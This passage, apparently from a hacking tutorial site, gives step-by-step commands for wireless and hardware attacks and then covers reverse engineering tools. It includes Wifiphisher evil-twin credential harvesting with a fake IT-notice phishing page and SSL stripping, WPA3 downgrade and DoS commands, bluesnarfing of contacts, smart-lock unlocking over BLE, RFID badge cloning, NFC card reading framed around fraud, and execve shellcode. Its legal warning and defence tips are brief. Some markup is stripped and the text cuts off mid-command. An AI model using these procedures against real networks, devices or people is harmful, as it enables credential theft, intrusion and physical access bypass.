asking for password # Custom phishing pages: # Create HTML page: /etc/wifiphisher/phishing-pages/custom/ sudo mkdir -p /etc/wifiphisher/phishing-pages/custom-page/ sudo nano /etc/wifiphisher/phishing-pages/custom-page/index.html # Use this template: # # # #

IT Department Notice

#

Your access credentials have expired.

#
# # #
# # # Use custom page: sudo wifiphisher -p custom-page # Captured credentials saved to: # /root/wifiphisher-credentials.txt # Check results: cat /root/wifiphisher-credentials.txt # Output: # [2026-01-08 14:30:22] Password: MySecretWiFi123 # [2026-01-08 14:32:15] Password: CompanyWiFi2026

Advanced Wifiphisher Techniques

# Evil Twin + Captive Portal (no jamming): sudo wifiphisher --nojoammer -e "FreeWiFi" -p firmware-upgrade # Creates open "FreeWiFi" network # When users connect, captive portal asks for "verification" # Perfect for conferences, airports, hotels # HTTPS phishing (SSL strip): sudo wifiphisher --sslstrip # Strips HTTPS from websites # Shows padlock but serves HTTP # Captures passwords from HTTPS sites! # Known beacons attack: sudo wifiphisher --knownbeacons # Creates multiple fake APs with common SSIDs: # - "Free WiFi" # - "Airport WiFi" # - "Starbucks" # - "Hotel Guest" # Devices auto-connect if they've seen these before! # Handshake capture mode: sudo wifiphisher --handshake # Captures WPA handshakes instead of phishing # Good for cracking passwords offline later # Logging and verbosity: sudo wifiphisher -v -l /tmp/wifiphisher.log # -v = verbose output # -l = log file location

⚠️ Wifiphisher Legal Warning

CRITICAL: Wifiphisher creates rogue access points and harvests credentials. This is ILLEGAL without authorization!

Authorized use cases ONLY:
• Pentesting engagements with written permission
• Red team exercises on company networks
• Security awareness training (with user consent)
• Personal lab networks

NEVER use on public networks, coffee shops, airports, or any network you don't own/have permission to test!

Penalties can include:
• Computer fraud charges
• Identity theft charges
• Wire fraud charges
• 10+ years prison in many jurisdictions

Use responsibly. You've been warned! 🚨

Part 4: WPA3 Security & Attacks

WPA3 is the latest WiFi security standard (2018+), designed to fix WPA2 weaknesses. But it's not invulnerable!

WPA3 Improvements Over WPA2

What Makes WPA3 Better?

1. SAE (Simultaneous Authentication of Equals):
Replaces WPA2's 4-way handshake with Dragonfly key exchange
• Protects against offline dictionary attacks
• Forward secrecy (past traffic stays encrypted even if password compromised)

2. Protection Against Deauth Attacks:
Management frame protection (802.11w) mandatory
• Deauth frames must be encrypted and authenticated
• Can't use aireplay-ng --deauth anymore!

3. Individualized Data Encryption:
Each device gets unique encryption key
• In WPA2, all devices share group key
• In WPA3, sniffing one device doesn't reveal others

4. Easy Connect (WPA3-Easy):
QR code pairing for IoT devices
• No more "12345678" default passwords

5. 192-bit Security Suite:
Optional enterprise mode with stronger crypto
• GCMP-256 encryption
• BIP-GMAC-256 management frame protection

WPA3 Vulnerabilities - Dragonblood Attacks

# WPA3 has known vulnerabilities discovered in 2019-2020: # "Dragonblood" attacks by Mathy Vanhoef # Vulnerability categories: # 1. Timing-based side-channel attack # Attacker can recover password by measuring how long authentication takes # Requires being very close to AP (same room) # Exploits: Some WPA3 implementations leak password info via timing # 2. Downgrade attack # Force WPA3 AP to use WPA2 "transition mode" # Then attack with traditional WPA2 methods! # Detection: airodump-ng wlan0mon # Look for "WPA2 WPA3" in ENC column = vulnerable to downgrade! # Attack: # Use wpa_supplicant to force WPA2 connection: wpa_supplicant -i wlan0 -c wpa2_only.conf # wpa2_only.conf: # network={ # ssid="TargetNetwork" # key_mgmt=WPA-PSK # psk="test" # } # 3. Denial of Service # Send invalid SAE frames to crash AP # Tool: Dragonblood PoC scripts git clone https://github.com/vanhoefm/dragonslayer.git cd dragonslayer # Run DoS attack: ./dragonslayer.py wlan0 --target AA:BB:CC:DD:EE:FF --dos # 4. Cache-based side-channel (CVE-2019-9494) # Recover password via CPU cache timing # Highly complex, mostly theoretical # Current state of WPA3 attacks: # ❌ Can't capture handshake and crack offline (main win for WPA3!) # ✅ Can downgrade to WPA2 on some APs # ✅ Can DoS the network # ⚠️ Side-channel attacks possible but difficult # Best attack vector: Social engineering (Wifiphisher!) # WPA3 doesn't stop users from typing password into fake portal!

Part 5: Bluetooth Exploitation

Bluetooth Basics for Hackers

# Bluetooth has two main versions: # • Bluetooth Classic (BR/EDR) - keyboards, headsets, file transfer # • Bluetooth Low Energy (BLE/BTLE) - fitness trackers, IoT devices # Install Bluetooth tools: sudo apt install bluez bluez-tools # List Bluetooth adapters: hciconfig # Output: # hci0: Type: Primary Bus: USB # BD Address: 00:11:22:33:44:55 ACL MTU: 1021:8 SCO MTU: 64:1 # UP RUNNING # RX bytes:1234 acl:10 sco:0 events:56 errors:0 # TX bytes:5678 acl:10 sco:0 commands:45 errors:0 # Enable Bluetooth adapter: sudo hciconfig hci0 up # Scan for nearby Bluetooth devices: sudo hcitool scan # Output: # Scanning ... # AA:BB:CC:DD:EE:FF John's iPhone # 11:22:33:44:55:66 Bose Headphones # 77:88:99:AA:BB:CC Samsung Galaxy # Get detailed device info: sudo hcitool info AA:BB:CC:DD:EE:FF # Output: # Requesting information ... # BD Address: AA:BB:CC:DD:EE:FF # Device Name: John's iPhone # LMP Version: 5.0 (0x9) LMP Subversion: 0x4321 # Manufacturer: Apple (76) # BLE scan: sudo hcitool lescan # Output: # LE Scan ... # AA:BB:CC:DD:EE:FF Fitbit Charge 5 # 11:22:33:44:55:66 (unknown) # 77:88:99:AA:BB:CC Mi Band 6

Bluetooth Attacks with Bluepot & Redfang

# Redfang - Find hidden Bluetooth devices # (Devices in "non-discoverable" mode) git clone https://github.com/mister-espria/redfang.git cd redfang ./redfang # Brute-forces MAC addresses to find hidden devices # Useful for finding devices that don't respond to hcitool scan # Bluepot - Bluetooth honeypot # Simulates vulnerable Bluetooth device to catch attackers git clone https://github.com/andrewmichaelsmith/bluepot.git cd bluepot sudo python bluepot.py # Creates fake vulnerable device # Logs connection attempts # Identifies attacking tools # Bluesnarfing - Steal data from device # (Works on old devices with OBEX vulnerabilities) sudo apt install obexftp # Connect and list files: obexftp -b AA:BB:CC:DD:EE:FF -l # Download contacts: obexftp -b AA:BB:CC:DD:EE:FF -g telecom/pb.vcf # Download calendar: obexftp -b AA:BB:CC:DD:EE:FF -g telecom/cal.vcs # Bluejacking - Send unsolicited messages # (Harmless but annoying) ussp-push AA:BB:CC:DD:EE:FF@10 message.txt message.txt # Sends message.txt to device # User sees: "Incoming file: message.txt"

BLE Hacking with Gatttool & BLESuite

# BLE uses GATT (Generic Attribute Profile) # Devices expose "services" with "characteristics" (data fields) # Connect to BLE device: gatttool -b AA:BB:CC:DD:EE:FF -I # Interactive mode: [AA:BB:CC:DD:EE:FF][LE]> connect Attempting to connect to AA:BB:CC:DD:EE:FF Connection successful # List services: [AA:BB:CC:DD:EE:FF][LE]> primary attr handle: 0x0001, end grp handle: 0x0007 uuid: 00001800-0000-1000-8000-00805f9b34fb attr handle: 0x0008, end grp handle: 0x000b uuid: 00001801-0000-1000-8000-00805f9b34fb attr handle: 0x000c, end grp handle: 0xffff uuid: 0000180f-0000-1000-8000-00805f9b34fb # List characteristics: [AA:BB:CC:DD:EE:FF][LE]> characteristics handle: 0x0002, char properties: 0x02, char value handle: 0x0003, uuid: 00002a00-0000-1000-8000-00805f9b34fb handle: 0x0004, char properties: 0x02, char value handle: 0x0005, uuid: 00002a01-0000-1000-8000-00805f9b34fb # Read characteristic: [AA:BB:CC:DD:EE:FF][LE]> char-read-hnd 0x0003 Characteristic value/descriptor: 46 69 74 62 69 74 20 43 68 61 72 67 65 # (Hex decodes to: "Fitbit Charge") # Write to characteristic: [AA:BB:CC:DD:EE:FF][LE]> char-write-req 0x0010 01 # Might trigger action (turn on LED, change setting, etc.) # BLESuite - More advanced BLE exploitation: git clone https://github.com/nccgroup/BLESuite.git cd BLESuite sudo python3 setup.py install # Scan and identify BLE devices: ble-scan # Enumerate GATT services: ble-read -a AA:BB:CC:DD:EE:FF # Smart lock exploit example: # Many smart locks have "unlock" characteristic # Find it, write 0x01, door unlocks! # Fitness tracker exploit: # Read heart rate, steps, location history # Privacy nightmare!

Part 6: RFID/NFC Hacking

Understanding RFID & NFC

RFID vs NFC

RFID (Radio Frequency Identification):
• Long range (up to 100 meters for active tags)
• Used for: Access badges, inventory tracking, toll collection
• Frequencies: 125kHz (low), 13.56MHz (high), 900MHz (ultra-high)

NFC (Near Field Communication):
• Short range (< 10cm)
• Based on 13.56MHz RFID
• Used for: Contactless payments, phone pairing, smart posters
• Two-way communication (RFID is usually one-way)

Why they're vulnerable:
• No encryption on basic tags (125kHz)
• Easily cloned with $20 device
• Can be read from distance (RFID)
• Replay attacks possible

RFID Cloning with Proxmark3

# Proxmark3 - Professional RFID research tool (~$300) # Can read, clone, and emulate RFID/NFC tags # Budget alternative: ACR122U NFC reader (~$40) # Reading 125kHz RFID card (HID Prox): proxmark3> lf hid fskdemod # Output: # TAG ID: 2004e11e (printed on card) # Full: 10004e11e (with site code) # Clone to writable T5577 card: proxmark3> lf hid clone 2004e11e # Output: # Cloning tag to T5577 # Writing block 0 # Writing block 1 # Done! # The cloned card now works as the original! # Reading 13.56MHz RFID/NFC (Mifare Classic): proxmark3> hf mf chk *1 ? # Output: # Checking keys... # Sector 0: Key A: FFFFFFFFFFFF (default key found!) # Sector 1: Key A: FFFFFFFFFFFF # [most keys are still factory default!] # Dump entire card: proxmark3> hf mf dump # Creates: dumpdata.bin # Clone to blank Mifare card: proxmark3> hf mf restore # Write dumpdata.bin to new card # Perfect clone! # NFC credit card reading: proxmark3> hf 14a reader # Output: # UID: 01 02 03 04 # ATQA: 00 04 # SAK: 08 [Mifare Classic] # Some credit cards expose: # • Card number (PAN) # • Expiry date # • Cardholder name # • Recent transaction history # Note: Can't withdraw money (CVV not on chip) # But: Can use for online fraud if no 2FA!

Budget RFID Hacking - ACR122U

# ACR122U is USB NFC reader/writer (~$40) # Works with libnfc # Install libnfc: sudo apt install libnfc-bin libnfc-examples # List readers: nfc-list # Output: # NFC device: ACS ACR122U opened # Scan for tags: nfc-poll # Output when card near: # NFC target found: # UID: 01 02 03 04 # ATQA: 00 04 # SAK: 08 # Read Mifare Classic card: nfc-mfclassic r a dump.mfd # Requires: Mifare Classic card # Output: dump.mfd (full card data) # Write to blank card: nfc-mfclassic w a dump.mfd # Clone complete! # Emulate tag (turn ACR122U into virtual card): nfc-emulate-tag # Your reader now pretends to be a tag # Can simulate access badge without carrying it! # Android phone NFC hacking: # Install: "NFC Tools" app (free) # Can read/write NFC tags # Limited compared to Proxmark3, but portable!

🎉 You're a Wireless Penetration Master!

You've conquered:

✅ Kismet: Advanced WiFi monitoring, wardriving, hidden SSID detection
✅ Fern WiFi Cracker: GUI-based automated WiFi attacks
✅ Wifiphisher: Rogue AP + social engineering credential theft
✅ WPA3: Understanding improvements, Dragonblood attacks, limitations
✅ Bluetooth: Classic & BLE hacking, GATT enumeration, smart device exploits
✅ RFID/NFC: Proxmark3 cloning, access badge duplication, credit card reading

Wireless Attack Surface:
• WiFi: WPA2 handshakes, WPA3 downgrades, evil twin APs
• Bluetooth: BLE smart locks, fitness trackers, car key fobs
• RFID: 125kHz access badges, 13.56MHz transit cards
• NFC: Contactless payment cards, phone pairing
• 433MHz: Garage doors, car remotes, weather stations (SDR topic)
• ZigBee: Smart home devices (requires KillerBee tools)

Defense strategies:
• Use WPA3 with strong passwords (16+ chars)
• Disable WPS, disable WPA2 transition mode
• Enable 802.11w (management frame protection)
• Use wired connections for critical systems
• Shield RFID badges (Faraday sleeves)
• Monitor for rogue APs (Kismet!)

Wireless hacking is one of the most exciting pentesting domains because it's invisible, long-range, and often underestimated by defenders. Companies spend millions on firewalls but leave WiFi wide open! 📡🔓

Reverse Engineering Mastery

Reverse engineering is digital archaeology. Someone gave you a compiled binary—machine code that CPUs understand but humans can't read. Your mission: understand what it does, find vulnerabilities, bypass protections, extract secrets. Whether you're analyzing malware, cracking software, finding 0-days, or understanding proprietary protocols, reverse engineering is THE skill that separates script kiddies from elite hackers. This section covers Ghidra (NSA's free RE tool), radare2 (command-line beast), Binary Ninja (modern platform), GDB debugging, ELF analysis (Linux), and PE analysis (Windows). By the end, you'll read assembly like English!

💡 Reverse Engineering = Reading Someone's Mind

Imagine someone hands you a locked box with no documentation. Inside are gears, circuits, and mechanisms. Your job:

1. Static analysis: Take it apart without turning it on (disassembly)
2. Dynamic analysis: Run it and observe behavior (debugging)
3. Decompilation: Reconstruct the original blueprints (C code from assembly)

Why reverse engineer?
• Security: Find vulns in closed-source software
• Malware analysis: Understand what virus does
• Cracking: Bypass license checks, DRM
• Interoperability: Make different systems work together
• Learning: See how experts write optimized code
• Protocol reverse engineering: Understand proprietary network protocols

Every binary tells a story. Your job is to read it! 📖🔍

Part 1: Ghidra - NSA's Reverse Engineering Framework

Ghidra (pronounced "GEE-druh") is a FREE, open-source software reverse engineering suite developed by the NSA and released publicly in 2019. It rivals $10,000+ commercial tools like IDA Pro!

Installing & Launching Ghidra

# Ghidra requires Java JDK 11+ sudo apt update sudo apt install openjdk-17-jdk # Download Ghidra from: # https://ghidra-sre.org/ # Or install via Kali repo: sudo apt install ghidra # Launch Ghidra: ghidra # First launch creates: # ~/.ghidra/ (settings and projects) # Create new project: # File → New Project → Non-Shared Project # Name: MyReverseEngineering # Location: /root/ghidra_projects/ # Import binary: # File → Import File → Select binary (e.g., /bin/ls) # Ghidra auto-detects: # - Format: ELF, PE, Mach-O, etc. # - Architecture: x86, x64, ARM, MIPS, etc. # - Endianness: Little, Big # Click OK # Analyze binary: # Analysis → Auto Analyze # Check all options: # ✅ Decompiler Parameter ID # ✅ Function Start Search # ✅ Stack # ✅ Reference # ✅ Embedded Media # ✅ Create Address Tables # ✅ ASCII Strings # Click Analyze (takes 30 seconds to few minutes) # Ghidra now shows: # • All functions (left panel) # • Disassembly (middle panel) # • Decompiled C code (right panel)

Ghidra Interface Walkthrough

# Main Ghidra window sections: # 1. Program Trees (left) # Shows binary structure: # - .text (code) # - .data (initialized data) # - .rodata (read-only data like strings) # - .bss (uninitialized data) # 2. Symbol Tree (left, different tab) # Lists all functions: # - Functions # - Labels # - Classes (C++ binaries) # - Namespaces # 3. Listing (center) # Disassembly view: # Address | Bytes | Mnemonic | Operands # 00401000 | 55 | PUSH | EBP # 00401001 | 89 e5 | MOV | EBP, ESP # 00401003 | 83 ec 10 | SUB | ESP, 0x10 # 4. Decompiler (right) # Pseudo-C code: # void main(void) { # int local_10; # local_10 = 0; # printf("Hello World\n"); # return; # } # 5. Data Type Manager (bottom left) # Shows structs, enums, typedefs # 6. Console (bottom) # Error messages, script output # Navigation: # • Double-click function name → jumps to function # • Press G → Go to address # • Press F → Find bytes/text # • Press ; → Add comment # • Press L → Rename variable/function # • Press → → Follow reference # • Press ← → Go back # Keyboard shortcuts: # G → Go to address # F → Search # L → Rename # ; → Comment # Ctrl+Shift+E → Edit function signature # D → Data type (convert bytes to string, int, etc.) # U → Undefined (undefine instruction/data) # P → Create function # Right-click → References to → See where used

Real Example: Reversing crackme Binary

# Download practice crackme: wget https://crackmes.one/static/crackme/5b8a37a433c5d45fc286ad83.zip unzip 5b8a37a433c5d45fc286ad83.zip chmod +x crackme # Run it: ./crackme # Enter password: test # Output: Wrong password! # Import into Ghidra: # File → Import File → crackme # Auto-analyze # Find main function: # Symbol Tree → Functions → main (or entry) # Look at decompiled code: # undefined8 main(void) # { # char input [32]; # # printf("Enter password: "); # scanf("%s", input); # # if (strcmp(input, "sup3rs3cr3t") == 0) { # printf("Correct! Flag: flag{you_did_it}\n"); # } else { # printf("Wrong password!\n"); # } # # return 0; # } # Found it! Password is: sup3rs3cr3t # Try it: ./crackme # Enter password: sup3rs3cr3t # Correct! Flag: flag{you_did_it} # More complex scenario: Obfuscated password check # Decompiled code might show: # if ((((input[0] ^ 0x42) == 0x11) && ((input[1] ^ 0x42) == 0x27)) && # (((input[2] ^ 0x42) == 0x21 && ((input[3] ^ 0x42) == 0x21)))) { # printf("Correct!\n"); # } # Solve with Python: # >>> chr(0x11 ^ 0x42) # 'S' # >>> chr(0x27 ^ 0x42) # 'e' # >>> chr(0x21 ^ 0x42) # 'c' # >>> chr(0x21 ^ 0x42) # 'c' # Password: Secc

Ghidra Scripting with Python

# Ghidra supports Python and Java scripts # Automate analysis tasks! # Create script: # Window → Script Manager → New Script # Name: find_strings.py # Language: Python # Example script - Find all strings containing "password": from ghidra.program.model.listing import CodeUnitFormat currentProgram = getCurrentProgram() listing = currentProgram.getListing() # Get all strings string_list = [] for string in currentProgram.getListing().getDefinedData(True): if string.getDataType().getName() == "string": string_list.append(string.getValue()) # Filter for "password" for s in string_list: if "password" in s.lower(): print("Found: {}".format(s)) # Run script: # Script Manager → find_strings.py → Run # Output: # Found: Enter password: # Found: Wrong password! # Found: hardcoded_password_123 # Advanced script - Rename all functions with their string references: from ghidra.program.model.symbol import RefType def rename_functions_by_strings(): fm = currentProgram.getFunctionManager() functions = fm.getFunctions(True) # Get all functions for func in functions: # Get all references from this function refs = func.getBody().getAddresses(True) for addr in refs: data = listing.getDataAt(addr) if data and data.getDataType().getName() == "string": string_val = data.getValue() # Rename function new_name = "func_" + string_val[:20].replace(" ", "_") func.setName(new_name, ghidra.program.model.symbol.SourceType.USER_DEFINED) print("Renamed to: {}".format(new_name)) break rename_functions_by_strings() # This auto-renames functions based on strings they use!

Part 2: radare2 - Command-Line RE Framework

radare2 (r2) is a powerful command-line reverse engineering framework. It's fast, scriptable, and works over SSH!

# Install radare2: sudo apt install radare2 # Or latest version: git clone https://github.com/radareorg/radare2 cd radare2 sys/install.sh # Verify: r2 -v # radare2 5.8.8 @ linux-x86-64 # Open binary: r2 /bin/ls # Or with write mode (allows patching): r2 -w /tmp/crackme # Basic r2 commands: # Analyze all: [0x00000000]> aaa # Output: # [x] Analyze all flags starting with sym. and entry0 (aa) # [x] Analyze function calls (aac) # [x] Analyze len bytes of instructions for references (aar) # [x] Finding and parsing C++ vtables (avrr) # [x] Skipping function emulation in debugger (aaef) # [x] Analyzing function calls in rtti sections (aafr) # [x] Type matching analysis for all functions (aaft) # [x] Propagate noreturn information (aanr) # [x] Use -AA or aaaa to perform additional experimental analysis # List functions: [0x00000000]> afl # Output: # 0x00401000 1 42 entry0 # 0x00401030 1 6 sym.imp.printf # 0x00401040 1 6 sym.imp.scanf # 0x00401050 4 50 -> 40 main # Disassemble function: [0x00000000]> pdf @ main # Output: # ┌ 50: int main (int argc, char **argv); # │ ; DATA XREF from entry0 @ 0x401016 # │ 0x00401050 55 push rbp # │ 0x00401051 4889e5 mov rbp, rsp # │ 0x00401054 4883ec20 sub rsp, 0x20 # │ 0x00401058 488d3dc90000. lea rdi, str.Enter_password: # │ 0x0040105f e8ccffffff call sym.imp.printf # │ 0x00401064 488d45e0 lea rax, [rbp - 0x20] # │ 0x00401068 4889c6 mov rsi, rax # │ 0x0040106b 488d3dc10000. lea rdi, 0x00401033 # │ 0x00401072 b800000000 mov eax, 0 # │ 0x00401077 e8c4ffffff call sym.imp.scanf # Decompile to pseudo-C: [0x00000000]> pdc @ main # Output (pseudo-C): # void main (void) { # char *input; # printf("Enter password: "); # scanf("%s", &input); # if (strcmp(input, "sup3rs3cr3t") == 0) { # printf("Correct!\n"); # } else { # printf("Wrong!\n"); # } # } # Search for strings: [0x00000000]> iz # Output: # [Strings] # Num Paddr Vaddr Len Size Section Type String # 000 0x00002008 0x00402008 15 16 (.rodata) ascii Enter password: # 001 0x00002018 0x00402018 11 12 (.rodata) ascii sup3rs3cr3t # 002 0x00002024 0x00402024 8 9 (.rodata) ascii Correct! # Search for hex bytes: [0x00000000]> /x 4889e5 # Find references to address: [0x00000000]> axt 0x00402018 # Output: # main 0x401058 [DATA] lea rdi, str.sup3rs3cr3t # Visual mode (TUI interface): [0x00000000]> V # Then press: # p → cycle views (hex, disasm, decompiler) # : → command mode # q → quit visual mode

Binary Patching with radare2

# Open binary in write mode: r2 -w crackme # Find password check: [0x00000000]> aaa [0x00000000]> pdf @ main # Let's say at 0x401077 there's: # 0x00401077 e8c4ffffff call sym.strcmp # 0x0040107c 85c0 test eax, eax # 0x0040107e 7510 jne 0x401090 ← Jump if NOT equal # Patch JNE to JE (jump if equal → always jump): [0x00000000]> s 0x0040107e [0x0040107e]> pd 1 # Output: # 0x0040107e 7510 jne 0x401090 # Write new instruction (JE = 0x74): [0x0040107e]> wx 7510 # Wait, that's the same! Let's NOP it instead: [0x0040107e]> wx 9090 # Or make it always jump (change JNE to JMP): [0x0040107e]> wa jmp 0x401090 # Verify: [0x0040107e]> pd 1 # 0x0040107e eb10 jmp 0x401090 # Save and quit: [0x0040107e]> q # Now any password works! ./crackme # Enter password: wrong # Correct! # More patching examples: # NOP out entire function call: [0x00000000]> s 0x401077 [0x00000000]> wx 9090909090 # 5 NOPs (5-byte call instruction) # Change string: [0x00000000]> s 0x402018 # Address of "sup3rs3cr3t" [0x00402018]> w hello [0x00402018]> ps # Print string # hello # Write shellcode: [0x00000000]> wx 31c048bbd19d9691d08c97ff48f7db53545f995257545e0f05 # (x64 execve("/bin/sh") shellcode)

radare2 Essential Commands Cheat Sheet

r2 Command Reference

Analysis:
• aa - Analyze all functions
• aaa - Analyze all (deep)
• aaaa - Analyze all + experimental
• afl - List functions
• afi - Function info
• afn newname - Rename function

Disassembly:
• pdf - Print disassembly of function
• pd 20 - Print 20 instructions
• pdc - Print decompiled C
• px 100 - Print 100 bytes hex

Navigation:
• s main - Seek to main
• s 0x401000 - Seek to address
• s+ 10 - Seek forward 10 bytes
• s- - Undo seek

Searching:
• / password - Search string
• /x 4889e5 - Search hex
• iz - List strings
• axt - Cross-references to

Patching:
• wx 9090 - Write hex
• wa jmp 0x401000 - Write assembly
• w hello - Write string

Visual mode:
• V - Enter visual mode
• VV - Visual graph mode
• p - Cycle views
• : - Command mode

Part 3: Binary Ninja - Modern RE Platform

Binary Ninja (binja) is a modern, commercial reverse engineering platform with beautiful UI and powerful IL (Intermediate Language) analysis. It has a free "Cloud" version and paid Personal ($299) and Commercial ($3999) licenses.

# Download Binary Ninja: # https://binary.ninja/ # Free options: # • Binary Ninja Cloud (browser-based, limited) # • Binary Ninja Personal (30-day trial) # Install on Kali: wget https://cdn.binary.ninja/installers/binaryninja_linux_demo.zip unzip binaryninja_linux_demo.zip cd binaryninja ./binaryninja # Key features over Ghidra/r2: # 1. Clean, modern UI # No cluttered NSA-style interface # 2. Multiple IL views: # - Disassembly (raw assembly) # - Low-Level IL (LLIL) - architecture-independent # - Medium-Level IL (MLIL) - variables, expressions # - High-Level IL (HLIL) - pseudo-C # - Pseudo-C (most readable) # 3. Workflow: # Open binary → Auto-analysis runs # # Left panel: Function list # Center: Disassembly/IL # Right: Variable types, cross-references # Bottom: Python console # 4. IL example: # Assembly view: # 00401000 push ebp # 00401001 mov ebp, esp # 00401003 sub esp, 0x20 # LLIL: # push(ebp) # ebp = esp # esp = esp - 0x20 # MLIL: # int32_t var_20 # HLIL: # (empty - just stack setup) # 5. Type system: # Define struct: # Right-click variable → Change Type → struct myStruct { int x; char* name; } # Binary Ninja propagates type info everywhere! # 6. Scripting (Python): # View → Python Console # Example: Find all calls to dangerous functions import binaryninja as binja dangerous_funcs = ["strcpy", "gets", "sprintf"] for func in bv.functions: for call_site in func.call_sites: call_target = call_site.function.name if call_target in dangerous_funcs: print(f"Dangerous call at {hex(call_site.address)}: {call_target}") # Output: # Dangerous call at 0x401234: strcpy # Dangerous call at 0x401567: gets # Binary Ninja plugins: # Tools → Manage Plugins # Popular plugins: # • SENinja (symbolic execution) # • Binjago (Go reverse engineering) # • Sourcery Pane (sync with source code) # Limitations: # • Expensive ($299-$3999) # • Closed source # • Smaller community than Ghidra # Best for: # • Professional reverse engineering # • Companies with budget # • Complex binaries needing IL analysis

Part 4: GDB Debugging - Runtime Analysis

GDB (GNU Debugger) is THE standard Linux debugger. While Ghidra/r2/Binja analyze static binaries, GDB runs them and lets you control execution!

# GDB basics: # Compile test program with debug symbols: cat > test.c << 'EOF' #include int add(int a, int b) { return a + b; } int main() { int x = 5; int y = 10; int result = add(x, y); printf("Result: %d\n", result); return 0; } EOF gcc -g test.c -o test # -g = include debug symbols # Start GDB: gdb ./test # GDB commands: # List source code: (gdb) list # Output: # 3 int add(int a, int b) { # 4 return a + b; # 5 } # 6 # 7 int main() { # 8 int x = 5; # 9 int y = 10; # 10 int result = add(x, y); # Set breakpoint: (gdb) break main # Breakpoint 1 at 0x401136: file test.c, line 8. # Or by line number: (gdb) break 10 # Or by address: (gdb) break *0x401136 # Run program: (gdb) run # Output: # Starting program: /root/test # Breakpoint 1, main () at test.c:8 # 8 int x = 5; # Step through code: (gdb) next # Execute one line (step over functions) # 9 int y = 10; (gdb) next # 10 int result = add(x, y); (gdb) step # Step INTO function # add (a=5, b=10) at test.c:4 # 4 return a + b; # Print variables: (gdb) print x # $1 = 5 (gdb) print y # $2 = 10 (gdb) print result # $3 = 0 (not set yet) # Continue execution: (gdb) continue # Result: 15 # [Inferior 1 (process 1234) exited normally] # Examining memory: (gdb) x/4x $rsp # Examine 4 hex words at stack pointer # 0x7fffffffe000: 0x00000000 0x00000001 0xffffe010 0x00007fff (gdb) x/s 0x402000 # Examine string at address # 0x402000: "Hello World" # Modify variables: (gdb) set variable x = 100 # Call functions: (gdb) call printf("Debug message\n") # Debug message # Disassemble: (gdb) disassemble main # Dump of assembler code for function main: # 0x0000000000401130 <+0>: push %rbp # 0x0000000000401131 <+1>: mov %rsp,%rbp # 0x0000000000401134 <+4>: sub $0x10,%rsp

GDB with PEDA/GEF/Pwndbg Extensions

# GDB is powerful but ugly. Extensions make it beautiful! # PEDA (Python Exploit Development Assistance): git clone https://github.com/longld/peda.git ~/peda echo "source ~/peda/peda.py" >> ~/.gdbinit # GEF (GDB Enhanced Features): wget -O ~/.gdbinit-gef.py -q https://gef.blah.cat/py echo "source ~/.gdbinit-gef.py" >> ~/.gdbinit # Pwndbg (Exploit Development): git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh # Features these add: # 1. Beautiful UI with colors # • Registers displayed with colors (red = changed) # • Stack view with annotations # • Code context around current instruction # 2. Exploit development commands: # Find ROP gadgets: (gdb) rop --search "pop rdi" # 0x00401234: pop rdi; ret # 0x00401567: pop rdi; pop rsi; ret # Search for strings: (gdb) searchmem "password" # [stack] 0x7fffffffe100 0x7fffffffe110 "password123" # Pattern create (find offset for buffer overflow): (gdb) pattern create 200 # Generate: Aa0Aa1Aa2Aa3... # After crash: (gdb) pattern offset $rsp # Offset: 72 (crash happens at byte 72) # Check security features: (gdb) checksec # RELRO: Partial RELRO # Stack: No canary found # NX: NX enabled # PIE: No PIE # Shellcode helpers: (gdb) shellcode generate x64 # \x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff... # Heap commands: (gdb) heap chunks # (shows all heap allocations) (gdb) heap bins # (shows freed chunks in bins)

Part 5: ELF Analysis (Linux Binaries)

# ELF (Executable and Linkable Format) is Linux binary format # File command (identify binary type): file /bin/ls # Output: # /bin/ls: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), # dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, # BuildID[sha1]=1234567890abcdef, for GNU/Linux 3.2.0, # stripped # Key info: # • ELF 64-bit (architecture) # • LSB (little-endian) # • dynamically linked (uses shared libraries) # • stripped (no debug symbols) # readelf - Display ELF structure: # ELF header: readelf -h /bin/ls # Output: # ELF Header: # Magic: 7f 45 4c 46 02 01 01 00 # Class: ELF64 # Data: 2's complement, little endian # Entry point address: 0x5850 # Section headers: readelf -S /bin/ls # Output: # [Nr] Name Type Address Offset # [ 0] NULL 0000000000000000 00000000 # [13] .text PROGBITS 0000000000003000 00003000 # [14] .fini PROGBITS 0000000000017008 00017008 # [23] .data PROGBITS 0000000000019000 00019000 # [24] .bss NOBITS 0000000000019100 00019100 # Sections explained: # .text → Executable code # .data → Initialized global variables # .rodata → Read-only data (strings, constants) # .bss → Uninitialized global variables # .plt → Procedure Linkage Table (dynamic linking) # .got → Global Offset Table (dynamic linking) # Program headers (segments): readelf -l /bin/ls # Output: # Program Headers: # Type Offset VirtAddr PhysAddr # LOAD 0x0000000000000000 0x0000000000000000 0x0000000000000000 # LOAD 0x0000000000003000 0x0000000000003000 0x0000000000003000 # DYNAMIC 0x0000000000018000 0x0000000000018000 0x0000000000018000 # Symbol table (if not stripped): readelf -s /bin/ls # Output: # Num: Value Size Type Bind Vis Ndx Name # 55: 0000000000005850 123 FUNC GLOBAL DEFAULT 13 main # 123: 0000000000006500 45 FUNC GLOBAL DEFAULT 13 read_file # Dynamic section (imported libraries): readelf -d /bin/ls # Output: # 0x0000000000000001 (NEEDED) Shared library: [libc.so.6] # 0x0000000000000001 (NEEDED) Shared library: [libpthread.so.0] # objdump - Disassemble binary: objdump -d /bin/ls | less # Output: # 0000000000005850
: # 5850: 55 push %rbp # 5851: 48 89 e5 mov %rsp,%rbp # 5854: 41 57 push %r15 # Disassemble specific function: objdump -d /bin/ls | grep -A 20 "
